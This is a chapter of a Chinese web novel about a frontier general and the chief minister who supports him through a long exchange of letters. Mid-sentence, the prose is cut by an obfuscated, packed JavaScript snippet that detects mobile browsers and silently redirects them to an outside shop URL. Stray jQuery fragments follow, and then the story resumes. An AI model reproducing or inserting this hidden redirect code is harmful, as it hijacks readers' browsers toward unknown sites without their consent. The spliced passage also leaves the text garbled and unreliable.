天刚亮,粮草到了的消息就已经传遍了整个大营。
将士们高兴归高兴,但操练仍不能落下,瞿旷先是按例巡完营,又盯着各营完成了晨跑,才下令开伙。
他自己则回到帐中,将怀里揣着的那封信拿出来又读了一遍。
里面的内容是裴謇一贯的风格:
“献雪亲启:
所需粮草已拨,你信中说的那几样东西,我都让人配齐了,随粮草一并送达。战事将近,务必一切小心,莫要因公务废了饮食,勿忘添衣。
万自珍重。
裴謇”
瞿旷看完,再次把信封好,放入他专门用以收纳信件的布袋中。
赵二无心说出的那句“还好有首辅大人时时站在将军这边”并不是一句空话,这些年来,无论他要什么,裴謇从没有不答应的。
至于写信,有了第一封,就有了第二封、第三封,这些年他们彼此往来了上百封信,越到后来,他们的书信便传递得越频繁。
且瞿旷写信习惯事无巨细,起先只是公事上的,譬如石堡修了几座、军饷发了多少、刚打完的仗战况如何,后来慢慢地添上了一些琐碎的小事,好比近日哪位将领病了、塞外的杏花开得盛、新来的兵在雪地里堆雪人,还偷偷用他的名字命名等等。
裴謇的回信通常很短,大部分时候只有三个字:“知道了。”,但“知道了”后面永远跟着具体的行动。要修石堡,银子已拨;将领病了,调令已发;打了胜仗,他上奏论功行赏。后来甚至也会学着瞿旷的样子,挑选些不那么沉闷的见闻写进去。
瞿旷说的事,无论大小,一桩桩一件件,他都接着。
瞿旷脾气硬,加上年纪又极轻,那些边将起初并不是完全服他,尤其是一些老资历的将领,总对他有些偏见,瞿旷也不去辩解,只是把军务一件件做扎实,该打的仗打好,日子一长,军中那些质疑的声音也渐渐消了。
当然也有些实在不愿配合的,瞿旷也没办法,偶尔会在信里发牢骚,说他和某某确实处不好关系,裴謇则会劝他不要意气用事,为人圆融些。
瞿旷看到这些的时候也会生气。
但是没过多久,那些他在信中所提到的人悉数被调走,裴謇又会陆陆续续给他派些听话得用的人来。
而瞿旷脾气缓过来,又会回复:一切都依先生所言。
冰河一战后,瞿旷又在青石关打过一场伏击,斩首二百余级,按规矩,战功要由兵部核验、吏部议叙。
结果兵部核验的时候,有人动了个手脚,将其中的一部分战功安在了另一个将领的头上,那将领是兵部某侍郎的门生,想借着战功升一级。
瞿旷忍了,没有上报。
他想着,反正仗打赢了就行。
但裴謇不知道从哪听说了这件事,直接发了一道咨文给兵部:“青石关之战,现场指挥何人、诸部如何配合、斩首缴获几何,本官需逐项核查。若有冒功者,按《察绩法》严处。 ”
兵部那侍郎收到消息后吓出了一身冷汗,连夜让人把战功更正了回来。
事后瞿旷知晓此事,立马写信致谢,裴謇对此只回以一行字:
“你该得的,一分也不能少。 ”
永昌六年秋,北境遭逢大旱。当时朔方镇周围二百里颗粒无收,三十万百姓和四万驻军的粮食缺口大到骇人。按朝廷规矩,北境军粮由附近三府分摊,但那三府也在闹旱灾,对此事皆各自推诿。
瞿旷派去催粮的副将何平回来时两手空空,说:“三府知府都说歉收,各府只肯出三成。”
那天晚饭瞿旷没吃下去,他在帅帐里来回走了几十圈,最后坐下来,铺开信纸,提笔给裴謇写信:
“先生钧鉴:
今年秋旱,朔方百里无收。地方百姓只能食榆皮、挖草根,军中也已缩减口粮。我派何平去三府催粮,三府知府皆相互推诿,只肯出三成。
我知道,三府确实歉收,亦不忍逼迫太甚。但朔方四万将士,若无冬粮,明年开春便无战力。若赤狄趁春荒来犯,恐难担保能守住。
我也曾想过向当地富户借粮,秋后以官银偿还,但又怕此举招人非议,朝廷上会做文章,说我与民争利。
眼下旷实在没有别的主意了,先生若有办法,请指点我。
瞿旷敬上。”
裴謇的回信七天后到了。他不仅回了信,还附了一份内廷密旨的抄件,说明皇帝已经批准了北境军粮的“调运特例”:从江南五府调粮十万石,专供朔方镇,不经户部常规流程,由内阁直接调度。
信上只有寥寥数语:
“瞿帅:
粮已调。江南五府十万石,走运河北上,年前可到。
你信中‘借富户粮’一事,不可行。你的名声是由马上拼杀以命搏命换来的,珍贵非常,不应在此事上落人口实。
裴謇。”
一个执掌大权的文官,说他的名声“珍贵非常”,瞿旷只知那话分量很重,心里却说不清是什么滋味。
后来那十船粮到的时候已是深冬。运粮的船队在运河上被冰卡了五天,押运官急得满嘴燎泡,最后还是裴謇直接从内阁发了一道手令,调了三艘破冰船去接应。
粮食运到朔方镇那天,瞿旷亲自带人去卸船。他站在码头上,看着一袋袋粮食被人从船上扛下来,忽然想起裴謇信里那句“年前可到”——算算日子,那些船是在运河冰封之前最后一批北上的。
如果再晚三天,河就封了。
这人在相隔那么远的地方,竟还能时时关注这事,又将运粮的时间算到了极致。
瞿旷心里既感激又佩服。
等到搬完最后一袋粮食,他才蹲在码头上,用冻僵的手从怀里摸出那封信,又看了一遍,然后把信折好放回去,站起来拍了拍裤子上的灰,对身后正在擦汗的何平扬了扬下巴,说:“走,今晚给将士们加一碗肉。”
瞿旷自己那晚却什么都没吃,只是和将士们同坐在篝火前面,对着跃动的火苗发了一晚上的呆。
永昌七年春,瞿旷修烽火石堡的进度被卡住了,原因在于当地采石场的石料运不出来。
当地一个豪绅看上了采石场周边的林地,借口“祖坟风水”不让开山采石,瞿旷派人去交涉,对方还直接放话道:“石料可以采,但每块条石要交三两银子的‘风水钱’。”
瞿旷与对方拉锯了好些日子,本就郁闷得很,一听这话直接气得把茶杯摔了:“三十万块条石,每块三两,他要九十万两!他怎么不去抢!”
奈何那豪绅家中在京城有人,且又是当地最大的地主,连知府都要让他三分,瞿旷没法用强,若是硬来,第二日弹劾他的奏疏估计就能堆满内阁。
当天夜里,他带着几分怨气给裴謇写信:
“先生钧鉴:
万不得已不敢劳烦。眼下石堡工程已停工半月,孟家为一己之私阻挠采石,我若强行动工,怕落人以‘武夫欺压良民’的口实,但若依旧拖延着不动工,边境千座石堡不知何年何月才能建成。
我知晓先生在朝中不易,不该为这点小事烦你,但眼下实在是走投无路,为了这事,我已接连几日睡不安稳。若先生能够帮我,瞿某感激不尽。
瞿旷顿首。”
这次裴謇的回信来得比要比往常慢些,瞿旷足等了十二天。但信来的时候,跟着信一起来的是一道内廷的勘合:那一片林地连同采石场,都被朝廷以“北境军务需用”的名义征用了。
裴謇在信里回复:
“瞿帅:
林地业已征用,朝廷勘合在此。此人若再有异议,让他进京来找我。
另:你说睡不安稳,我让太医院配了一副安神药,随信寄去,你且煎服七日,若无效再告诉我。以后勿说什么‘为这点小事烦我’——将军之事,并非小事。
裴謇。”
那副跨越千里的安神药被附在信中,用油纸包得严严实实,药包上还贴了一张小纸条,以裴謇的字迹写着:“三碗水煎成一碗,睡前服,忌茶酒。”
瞿旷当晚就将那包药煎了。药很苦,但他一口气喝完了。
喝完以后,瞿旷躺在床上,咂摸着口中的苦味,望着篷顶想:像裴謇那么忙的人,每天要批上百份公文、见十几拨人、即使在病中也要坚持上朝——他究竟是从哪里挤
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17903555|212986||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
出的时间,亲自去太医院配了一副安神药?
没等瞿旷想明白,他就睡着了。
这一觉睡得很安稳。
同年的秋天,朔方镇亟需换一批震天炮,银钱吃紧,但户部核定的银子却迟迟不批,给出的理由是“秋粮未收,国库吃紧”。
瞿旷当下又给裴謇去了信。后来他才知道,他的信被送到内阁时,裴謇正在病中,对方顶着高热看完了信,直接提笔批了一个手令:
“朔方镇急需换炮,着户部即日拨银五万两,从内库盐税中先行支取。若有延误,本官亲自问责。 ”
手令送到户部时,户部尚书上门找到裴謇,摆出为难的架势推脱道:“裴大人,这不合规矩……”
裴謇当时靠在病榻上,因病导致嗓音低哑:“规矩是死的,边关是活的。炮换不上,狄骑打进来,你户部拿什么赔?去办。出了事我担着。 ”
于是五万两银子在七天内就拨到了朔方镇。
瞿旷收到银子的那一天,刚好是中秋,他正站在城楼上吃营里统一发的月饼。
那月饼硬邦邦的,和往年发的那些没什么不同,但那晚瞿旷就着月色咀嚼,却忽然发觉有了甜味。
从那时起,他们之间的通信变得频繁起来。信写得多了,两个人的关系也愈近了,信中的称呼也不知道从什么时候起,由“瞿帅”和“先生”换成了对方的表字。
就在去年冬天,瞿旷发现朔方镇的军需库后面突然多出了一排新修的仓库,他当即找到军需官来询问,而对方支支吾吾,只说是“兵部拨来的”。
瞿旷打开仓库,见里面堆满了粮食——稻谷、小麦、豆子,整整齐齐码到房梁。他粗略估算了一下,这些粮食足够朔方镇四万守军吃半年。
这么大的粮食运输量,瞒过了瞿旷,但绝不可能瞒过兵部和户部的账目。
这不是只凭“兵部拨来”四个字就能解释得清的。
瞿旷心中隐隐有猜想,于是去找了郑武,问他:“这些粮食什么时候来的?”
郑武显然早有预料,也没想再瞒他,只低下头道:“将军,是去年冬天陆续运来的。裴大人那边的人安排的,说不要告诉您。”
“为什么不告诉我?”
“裴大人说——”郑武犹豫了一下,终于鼓起勇气对上瞿旷的眼睛:“裴大人的原话是:‘瞿帅知道了一定会推辞。告诉他这是兵部常规储备,别让他多想。’”
瞿旷那天站在那座仓库门口,看着满仓的粮食,沉默了很久。
晚上,他写了一封很短的信:
“介清亲启:
后山那批粮食,我看见了。
我不知道你什么时候开始准备的,你为此费了多少周折,顶了多少压力。我只知道,去年冬天运河封得早,那些粮食要运到朔方,得花多少功夫。
我没别的要说。
介清,你的恩情我记一辈子。
瞿旷。”
裴謇收到后,回给他的信更短:
“献雪:
那批粮食就是兵部常规储备,你别多想。恩情不必记,也不必想着还我。
裴謇。”
瞿旷看完回信,把信纸放在桌上,看着油灯映照出来的影子在纸上翻滚跃动,脑子里想了很多事。
都是关于裴謇的。
他在想,裴謇为他做的那些事,每一件都沉甸甸的,于他而言意义深重,但给他写信时,却从来不邀功,不解释,只是用最平淡的语气简单说一句。
可瞿旷知道,大晟朝的兵部,从来没有为哪一个武将单独建过备用粮库。
没有别人。
只有他。
想清楚这些之后,瞿旷把那座备用粮库的钥匙收在了自己贴身的衣袋里,和那些信放在一起。
“将军!”
帐外的一声呼喊将瞿旷从回忆中一把拉了回来,他眨了眨眼,把面前的布袋收好,起身阔步走出去:“都到了?”
赵二拱了下手,说:“都到了。”
瞿旷点点头,朝着帅帐的方向走去。
粮草既已到了,原本谋定的仗就可以继续打下去了。